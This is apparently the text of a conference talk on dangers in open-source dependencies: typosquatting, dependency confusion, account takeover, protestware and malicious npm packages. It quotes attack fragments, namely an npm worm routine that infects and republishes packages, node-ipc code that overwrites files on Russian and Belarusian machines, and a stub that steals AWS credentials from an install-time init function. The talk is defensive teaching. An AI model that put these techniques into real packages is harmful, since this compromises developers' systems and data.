101 Ways Dependencies Can Ruin Your Day
Chris Thompson + Free Wortley
Who are we
Uber and Snapchat logos
So you want to make a website
Hypertext Transfer Protocol -- HTTP/1.1
Status of this Memo
This document specifies an Internet standards track protocol for the
Internet community, and requests discussion and suggestions for
improvements. Please refer to the current edition of the "Internet
Official Protocol Standards" (STD 1) for the standardization state
and status of this protocol. Distribution of this memo is unlimited.
$ npm install express
$ pip install flask
$ gem install rails
$ go get -u github.com/gin-gonic/gin
$ echo '<dependency>...org.springframework...</dependency>' >> pom.xml \
&& mvn install
function isEven(n) {
n = Number(n);
return n === 0 || !!(n && !(n%2));
}
function isOdd(n) {
return isEven(Number(n) + 1);
}
Testing whether a value is odd or even 2011 - stackoverflow
That is OK if n is with certain parameters, but fails for many scenarios.
Testing whether a value is odd or even 2011 - stackoverflow
Problem solved, right?
What did we learn?
You’re finding a Needle in a Haystack
You’re vulnerable…
�…now what?
Upgrading Legacy Code is Hard
Other Problems:
Open Source Softwares Licenses
Hijacking Packages - Account Takeover
Surprise, Malware!
function getModulesOwned(user, cb) {
var url = 'https://www.npmjs.org/~' + user;
// ...
var packages = $('.collaborated-packages a').map(function (i, el) {
return $(this).text();
}).get();
// ...
function addOwner(packageName, newOwner) {
exec('npm owner add ' + newOwner + ' ' + packageName);
}
shrugging-logging - npm
function infectModule (moduleName) {
installModule(moduleName)
.then(() => {
addScript(moduleName);
copyScript(moduleName);
return incrementPatchVersion(moduleName);
})
.then(() => publishInfectedModule(moduleName))
.catch(() => {});
}
sdfjghlkfjdshlkjdhsfg - npm
"dependencies": {
"express": "^4.3.0",
"dustjs-helpers": "~1.6.3",
"continuation-local-storage": "^3.1.0",
"pplogger": "^0.2",
"auth-paypal": "^2.0.0",
"wurfl-paypal": "^1.0.0",
"analytics-paypal": "~1.0.0"
}
paypal - github
"dependencies": {
"express": "^4.3.0",
"dustjs-helpers": "~1.6.3",
"continuation-local-storage": "^3.1.0",
"pplogger": "^0.2",
"auth-paypal": "^2.0.0",
"wurfl-paypal": "^1.0.0",
"analytics-paypal": "~1.0.0"
}
paypal - github
paypal - github
npm registry
Paypal registry
"express": "^4.3.0"
paypal - github
npm registry
Paypal registry
"express": "^4.3.0"
paypal - github
npm registry
Paypal registry
"auth-paypal": "^2.0.0"
developer/ci with valid auth
paypal - github
npm registry
Paypal registry
"auth-paypal": "^2.0.0"
developer/ci with invalid auth
paypal - github
npm registry
Paypal registry
"auth-paypal": "^2.0.0"
developer/ci with invalid auth
paypal - github
npm registry
Paypal registry
"auth-paypal": "^2.0.0"
developer/ci with invalid auth
paypal - github
npm registry
Paypal registry
"auth-paypal": "^2.0.0"
developer/ci with invalid auth
Pwned!
Typosquatting
“requestes” search - sourcegraph
Unpublishing
Protestware
if (countryName.includes("russia") || countryName.includes("belarus")) {
getFiles("./");
getFiles("../");
getFiles("../../");
getFiles("/");
}
// ...
fs.writeFile(combinedPath, "❤️", function () {});
node-ipc - npm
Adding a “helpful” feature
flatmap-stream heist - the setup
flatmap-stream heist - covert ops
@right9ctrl If you removed flatmap-stream because your realized it was an injection attack why didn't you yank event-stream@3.3.6 from npm and put a PSA? If you didn't know, why did you choose to use a completely unused/unknown library (0 downloads on npm until you use it)?
#116 event-stream - github
If it couldn’t get any worse…
pm2 - npm
A meaningful bottom line
Most automation is misleading
Next-Gen Dependency Analysis
Thank You!
References
[3] https://contolini.com/building-an-npm-worm
[4] https://duo.com/decipher/hunting-malicious-npm-packages
[5] https://www.kb.cert.org/vuls/id/319816/
[6] https://snyk.io/blog/open-source-npm-packages-colors-faker/
[8] https://docs.npmjs.com/policies/unpublish
[9] http://blog.fatezero.org/2017/06/01/package-fishing/
[10] https://pytosquatting.overtag.dk/
[11] https://github.com/pylola/requirements.txt/
References
References
Writing an HTTP Parser is hard
Why are there so many?
TODO Free’s story
Maybe have Free tell story about Uber using npm 2 vs 3?
Insert stern sounding security stuff here…
– David Fischer
`requestes` README.md - pypi 2013
Hijacking Packages - Modifying Package
{
"name": "some-package",
"scripts" : {
"install" : "scripts/install.js",
"postinstall" : "scripts/postinstall.js",
"uninstall" : "scripts/uninstall.js"
}
}
package.json - node
package harmlesspackage
init() {
steal("~/.aws/creds")
}
harmless.go - go
> npm install styled-components@5.3.5
A message from the styled-components core team: If you are seeing this,
your environment is set to Russian locale. By now it is our hope that you
have seen the devastation, horrors, and complete disregard the Russian
military has for Ukrainian civilians...
styled-components - npm
Vulnerability in a Dependency
Limitations
npms.io